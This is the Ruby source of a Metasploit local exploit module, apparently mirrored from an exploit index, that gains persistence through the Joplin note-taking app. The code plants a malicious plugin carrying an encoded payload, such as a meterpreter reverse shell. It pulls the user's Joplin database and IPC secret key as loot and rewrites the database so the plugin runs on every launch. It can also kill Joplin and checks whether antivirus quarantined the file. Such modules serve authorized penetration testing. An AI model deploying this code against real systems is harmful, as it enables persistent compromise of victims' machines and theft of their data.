## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sqlite3'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report
include Msf::Exploit::Local::Persistence
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Joplin Plugin Persistence',
'Description' => %q{
This module installs a malicious Joplin plugin (.jpl) into the target's
Joplin plugin directory. The plugin executes the payload each time Joplin
is launched, providing persistent code execution. Joplin can not
be running at the time of plugin installation, or it will be overwriten
at shutdown. The module can optionally kill Joplin if it is detected running.
Tested against Joplin 3.6.11 on Windows 10, 3.6.10 on Kali
},
'License' => MSF_LICENSE,
'Author' => [
'h00die' # Module
],
'DisclosureDate' => '2017-12-07', # initial joplin release date
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => false,
'References' => [
[ 'URL', 'https://joplinapp.org/help/api/get_started/plugins/' ],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
],
'Arch' => [ARCH_CMD],
'Platform' => %w[linux windows],
'Payload' => {
'Space' => 8191,
'DisableNops' => true
},
'Targets' => [
['Windows', { 'Platform' => 'windows' }], # set payload payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp
['Linux', { 'Platform' => %w[linux unix] }],
# ['OSX', { 'Platform' => %w[linux unix] }]
],
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DefaultTarget' => 0
)
)
register_options([
OptString.new('NAME', [false, 'Name of the plugin', '']),
OptString.new('DESCRIPTION', [false, 'Description of the plugin', '']),
OptString.new('USER', [false, 'User to target, or current user if blank', '']),
OptString.new('DATABASE', [false, 'Full path to Joplin database.sqlite on target (auto-detected if blank)', '']),
OptBool.new('KILLJOPLIN', [false, 'Kill Joplin if it is running before modifying the database', false])
])
deregister_options('WritableDir')
end
def plugin_name
# memoized so manifest and install path always use the same name
@plugin_name ||= if datastore['NAME'].blank?
rand_text_alphanumeric(4..10)
else
datastore['NAME']
end
end
def plugin_id
@plugin_id ||= "com.#{rand_text_alpha(4..8).downcase}.#{plugin_name}"
end
def manifest
{
'manifest_version' => 1,
'id' => plugin_id,
'app_min_version' => '3.2',
'version' => '1.0.0',
'name' => plugin_name,
'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'],
'author' => '',
'homepage_url' => '',
'repository_url' => '',
'keywords' => [],
'categories' => [],
'screenshots' => [],
'icons' => {},
'promo_tile' => {}
}.to_json
end
def index_js
::File.read(::File.join(Msf::Config.data_directory, 'exploits', 'joplin_plugin', 'index.js.template'))
end
def create_plugin_tar(pload)
tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
t.add_file('manifest.json', 0o644) do |f|
f.write(manifest)
end
t.add_file('index.js', 0o644) do |f|
f.write(index_js)
end
t.add_file('external', 0o644) do |f|
f.write([pload].pack('m0'))
end
end
tar.seek(0)
data = tar.read
tar.close
data
end
def target_user
return datastore['USER'] unless datastore['USER'].blank?
return create_process('cmd.exe', args: ['/c', 'echo', '%USERNAME%']).strip if ['windows', 'win'].include? session.platform
whoami
end
def joplin_base_dirs
user = target_user
vprint_status("Target user: #{user}")
case session.platform
when 'windows', 'win'
[
"C:\\Users\\#{user}\\.config\\joplin-desktop",
"C:\\Users\\#{user}\\.config\\joplin",
"C:\\Users\\#{user}\\AppData\\Roaming\\joplin",
"C:\\Users\\#{user}\\AppData\\Roaming\\joplin-desktop"
]
# when 'osx'
# [
# "/Users/#{user}/Library/Application Support/joplin",
# "/Users/#{user}/Library/Application Support/joplin-desktop"
# ]
else # linux
home = user == 'root' ? '/root' : "/home/#{user}"
[
"#{home}/.config/joplin",
"#{home}/.config/joplin-desktop",
"#{home}/snap/joplin-desktop/current/.config/joplin-desktop"
]
end
end
def check
joplin_base_dirs.each do |dir|
return CheckCode::Appears("Joplin installation found: #{dir}") if directory?(dir)
end
CheckCode::Safe('No Joplin installation found')
end
def windows?
['windows', 'win'].include?(session.platform)
end
def joplin_running?
if windows?
!create_process('powershell', args: ['-Command', 'Get-Process -Name Joplin* -ErrorAction SilentlyContinue']).strip.empty?
else
!create_process('pgrep', args: ['-i', 'joplin']).strip.empty?
end
end
def kill_joplin
if windows?
create_process('powershell', args: ['-Command', 'Stop-Process -Name Joplin -Force -ErrorAction SilentlyContinue'])
else
create_process('pkill', args: ['-i', 'joplin'])
end
Rex.sleep(2)
if joplin_running?
print_warning('Joplin is still running after kill attempt')
return false
end
print_good('Joplin killed successfully')
true
end
def find_joplin_database
user = target_user
print_status('Searching for Joplin database...')
if session.type == 'meterpreter' && windows?
search_root = "C:\\Users\\#{user}"
begin
results = session.fs.file.search(search_root, 'database.sqlite', true)
results.each do |r|
path = "#{r['path']}\\#{r['name']}"
vprint_status(" Found: #{path}")
return path if path.downcase.include?('joplin')
end
rescue Rex::Post::Meterpreter::RequestError => e
print_warning("Meterpreter file search failed: #{e.message}")
end
return nil
end
# Shell session fallback
if windows?
results = create_process('powershell', args: ['-Command', "Get-ChildItem -Path 'C:\\Users\\#{user}' -Recurse -Filter 'database.sqlite' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName"]).strip
else
home = user == 'root' ? '/root' : "/home/#{user}"
results = create_process('find', args: [home, '-name', 'database.sqlite']).strip
end
results.lines.each do |path|
path = path.strip
next if path.empty?
vprint_status(" Found: #{path}")
return path if path.downcase.include?('joplin')
end
nil
end
def register_plugin(base_dir, plugin_id)
sep = windows? ? '\\' : '/'
db_path = if datastore['DATABASE'].present?
datastore['DATABASE']
else
"#{base_dir}#{sep}database.sqlite"
end
unless file?(db_path)
print_warning("Joplin database not found at: #{db_path}")
db_path = find_joplin_database
if db_path.nil?
print_warning('Set DATABASE to the correct path and re-run, or enable the plugin manually via Tools > Plugins')
return
end
print_good("Found database at: #{db_path}")
end
print_status('Downloading Joplin database...')
db_data = read_file(db_path)
loot_path = store_loot(
'joplin.database',
'application/x-sqlite3',
session.session_host,
db_data,
'database.sqlite',
'Joplin SQLite database'
)
print_good("Database saved to loot: #{loot_path}")
begin
db = SQLite3::Database.new(loot_path)
# Load all rows in Ruby and filter client-side: the unique index can become
# corrupted (orphaned rows not tracked by the index), causing INSERT OR REPLACE
# to miss stale entries. Joplin does a full table scan on startup and crashes
# if it finds two rows with the same key.
all_rows = db.execute('SELECT rowid, key, value FROM settings')
existing = all_rows.select { |r| r[1] == 'plugins.states' }
vprint_status("Found #{existing.length} existing plugins.states row(s)")
states = {}
if existing.any?
begin
states = JSON.parse(existing.first[2])
rescue JSON::ParserError => e
print_warning("Could not parse existing plugins.states: #{e.message}")
end
existing.each { |row| db.execute('DELETE FROM settings WHERE rowid=?', [row[0]]) }
end
states[plugin_id] = { 'enabled' => true, 'deleted' => false, 'hasBeenUpdated' => false }
new_json = JSON.generate(states)
tbl = Rex::Text::Table.new(
'Header' => 'Joplin Plugin States',
'Indent' => 4,
'Columns' => ['Plugin ID', 'Enabled', 'Deleted', 'Has Been Updated']
)
states.each { |id, s| tbl << [id, s['enabled'], s['deleted'], s['hasBeenUpdated']] }
print_line(tbl.to_s)
# Use a SQL literal for the key: the sqlite3 gem binds Ruby string parameters
# as BLOB in MSF's encoding context, but Joplin queries with WHERE key='plugins.states'
# (TEXT literal), which never matches a BLOB โ the plugin would be invisible.
db.execute("INSERT INTO settings (key, value) VALUES ('plugins.states', ?)", [new_json])
db.close
rescue LoadError
print_warning('sqlite3 gem not available โ enable the plugin manually via Tools > Plugins')
return
rescue SQLite3::Exception => e
print_warning("Failed to modify database: #{e.message}")
return
end
print_status('Re-uploading modified database...')
write_file(db_path, ::File.binread(loot_path))
['-wal', '-shm'].each do |ext|
wal = "#{db_path}#{ext}"
next unless file?(wal)
print_status("Removing #{ext} file to prevent WAL replay: #{wal}")
rm_f(wal)
end
print_good('Plugin registered in Joplin database')
[loot_path, db_path]
end
def loot_ipc_key(base_dir)
sep = windows? ? '\\' : '/'
key_path = "#{base_dir}#{sep}ipc_secret_key.txt"
unless file?(key_path)
print_warning("ipc_secret_key.txt not found at #{key_path}")
return
end
key_data = read_file(key_path)
loot_path = store_loot(
'joplin.ipc_secret_key',
'text/plain',
session.session_host,
key_data,
'ipc_secret_key.txt',
'Joplin IPC secret key'
)
print_good("IPC secret key saved to loot: #{loot_path}")
end
def install_persistence
print_status("Using plugin name: #{plugin_id}")
base_dir = joplin_base_dirs.find { |dir| directory?(dir) }
fail_with(Failure::NotFound, 'No Joplin installation found') if base_dir.nil?
loot_ipc_key(base_dir)
sep = windows? ? '\\' : '/'
plugin_dir = "#{base_dir}#{sep}plugins"
plugin_path = "#{plugin_dir}#{sep}#{plugin_id}.jpl"
unless directory?(plugin_dir)
print_status("Creating plugins directory: #{plugin_dir}")
mkdir(plugin_dir, cleanup: false)
end
jpl_data = create_plugin_tar(payload.encoded)
print_status("Writing plugin to: #{plugin_path} (#{jpl_data.length} bytes)")
write_file(plugin_path, jpl_data)
# Verify AV did not immediately quarantine/delete the file
if file?(plugin_path)
print_good("Plugin written to #{plugin_path}")
else
print_warning("Plugin file missing after write โ may have been quarantined by AV: #{plugin_path}")
end
if joplin_running?
if datastore['KILLJOPLIN']
print_status('Joplin is running โ killing it before modifying the database...')
if kill_joplin
result = register_plugin(base_dir, plugin_id)
else
print_warning('Could not kill Joplin โ skipping database registration.')
print_warning('Close Joplin manually and re-run this module so the plugin registration persists.')
result = nil
end
else
print_warning('Joplin is currently running โ the database modification will be overwritten when Joplin closes.')
print_warning('Close Joplin completely and re-run this module, or set KILLJOPLIN true to kill it automatically.')
print_warning('The .jpl file has been written; only the database registration step will be skipped.')
result = nil
end
else
result = register_plugin(base_dir, plugin_id)
end
if windows?
@clean_up_rc << "del /f \"#{plugin_path}\"\n"
else
@clean_up_rc << "rm -f \"#{plugin_path}\"\n"
end
if result
original_db_loot, db_path = result
@clean_up_rc << "upload #{original_db_loot} #{db_path}\n"
end
if result
print_status('Joplin is not running โ launch it to trigger the plugin')
end
print_status("If the payload does not execute, check log files in #{base_dir} for plugin errors")
end
end